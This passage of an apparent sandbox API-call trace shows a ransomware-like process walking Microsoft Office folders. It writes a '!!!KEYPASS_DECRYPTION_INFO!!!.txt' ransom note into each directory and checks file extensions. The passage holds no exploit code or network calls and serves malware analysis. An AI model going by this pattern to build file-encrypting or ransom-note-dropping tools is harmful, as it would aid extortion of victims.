Office\\root\\Office16\\AUDIOSEARCHSAPIFE.DLL") returned=".DLL" [0256.248] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.248] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0256.248] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.248] GetLastError () returned 0x3f0 [0256.248] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AugLoop\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AugLoop\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.248] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AugLoop\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AugLoop\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\augloop\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d4 [0256.250] GetFileType (hFile=0x9d4) returned 0x1 [0256.250] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0256.250] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0256.250] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0256.250] WriteFile (in: hFile=0x9d4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0256.251] WriteFile (in: hFile=0x9d4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0256.251] CloseHandle (hObject=0x9d4) returned 1 [0256.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AugLoop\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0aa38 [0256.251] FindNextFileW (in: hFindFile=0x3a0aa38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.251] FindNextFileW (in: hFindFile=0x3a0aa38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.251] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AugLoop\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.251] FindNextFileW (in: hFindFile=0x3a0aa38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.252] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AugLoop\\bundle.js") returned=".js" [0256.252] FindNextFileW (in: hFindFile=0x3a0aa38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.252] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AugLoop\\third-party-notices.txt") returned=".txt" [0256.252] FindNextFileW (in: hFindFile=0x3a0aa38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0256.252] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.252] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AutoHelper.dll") returned=".dll" [0256.252] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.252] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd") returned=".xsd" [0256.252] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.252] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd") returned=".xsd" [0256.252] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.252] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0256.252] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.252] GetLastError () returned 0x3f0 [0256.252] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.252] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9dc [0256.282] GetFileType (hFile=0x9dc) returned 0x1 [0256.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0256.283] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0256.283] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0256.283] WriteFile (in: hFile=0x9dc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0256.284] WriteFile (in: hFile=0x9dc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0256.284] CloseHandle (hObject=0x9dc) returned 1 [0256.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0acf8 [0256.284] FindNextFileW (in: hFindFile=0x3a0acf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.284] FindNextFileW (in: hFindFile=0x3a0acf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.285] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.285] FindNextFileW (in: hFindFile=0x3a0acf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.285] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Author2String.XSL") returned=".XSL" [0256.285] FindNextFileW (in: hFindFile=0x3a0acf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.285] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Author2XML.XSL") returned=".XSL" [0256.285] FindNextFileW (in: hFindFile=0x3a0acf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.285] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0256.285] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.285] GetLastError () returned 0x3f0 [0256.285] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.285] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\sort\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d8 [0256.294] GetFileType (hFile=0x9d8) returned 0x1 [0256.294] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0256.294] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0256.294] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0256.294] WriteFile (in: hFile=0x9d8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0256.295] WriteFile (in: hFile=0x9d8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0256.295] CloseHandle (hObject=0x9d8) returned 1 [0256.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3a0af78 [0256.295] FindNextFileW (in: hFindFile=0x3a0af78, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.295] FindNextFileW (in: hFindFile=0x3a0af78, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.295] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.296] FindNextFileW (in: hFindFile=0x3a0af78, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.296] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\AUTHOR.XSL") returned=".XSL" [0256.296] FindNextFileW (in: hFindFile=0x3a0af78, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.296] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\TAG.XSL") returned=".XSL" [0256.296] FindNextFileW (in: hFindFile=0x3a0af78, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.296] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\TITLE.XSL") returned=".XSL" [0256.296] FindNextFileW (in: hFindFile=0x3a0af78, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.296] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\YEAR.XSL") returned=".XSL" [0256.296] FindNextFileW (in: hFindFile=0x3a0af78, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0256.296] FindNextFileW (in: hFindFile=0x3a0acf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.296] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0256.296] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.296] GetLastError () returned 0x3f0 [0256.296] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.296] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e4 [0256.311] GetFileType (hFile=0x9e4) returned 0x1 [0256.311] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0256.311] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0256.311] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0256.311] WriteFile (in: hFile=0x9e4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0256.312] WriteFile (in: hFile=0x9e4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0256.312] CloseHandle (hObject=0x9e4) returned 1 [0256.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3a0ae38 [0256.312] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned=".xsl" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\CHICAGO.XSL") returned=".XSL" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL") returned=".XSL" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GostName.XSL") returned=".XSL" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GostTitle.XSL") returned=".XSL" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned=".xsl" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned=".xsl" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\ISO690.XSL") returned=".XSL" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\ISO690Nmerical.XSL") returned=".XSL" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned=".xsl" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\SIST02.XSL") returned=".XSL" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\TURABIAN.XSL") returned=".XSL" [0256.313] FindNextFileW (in: hFindFile=0x3a0ae38, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0256.313] FindNextFileW (in: hFindFile=0x3a0acf8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0256.313] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.314] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BIPLAT.DLL") returned=".DLL" [0256.314] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.314] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0256.314] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.314] GetLastError () returned 0x3f0 [0256.314] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.314] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e0 [0256.319] GetFileType (hFile=0x9e0) returned 0x1 [0256.319] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0256.319] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0256.319] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0256.319] WriteFile (in: hFile=0x9e0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0256.320] WriteFile (in: hFile=0x9e0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0256.320] CloseHandle (hObject=0x9e0) returned 1 [0256.320] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0aa78 [0256.320] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.320] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.320] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART1.BDR") returned=".BDR" [0256.320] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART10.BDR") returned=".BDR" [0256.320] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART11.BDR") returned=".BDR" [0256.320] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART12.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART13.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART14.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART15.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART2.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART3.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART4.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART5.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART6.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART7.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART8.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART9.BDR") returned=".BDR" [0256.321] FindNextFileW (in: hFindFile=0x3a0aa78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0256.321] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BRTVIEW.DLL") returned=".DLL" [0256.321] FindNextFileW (in: 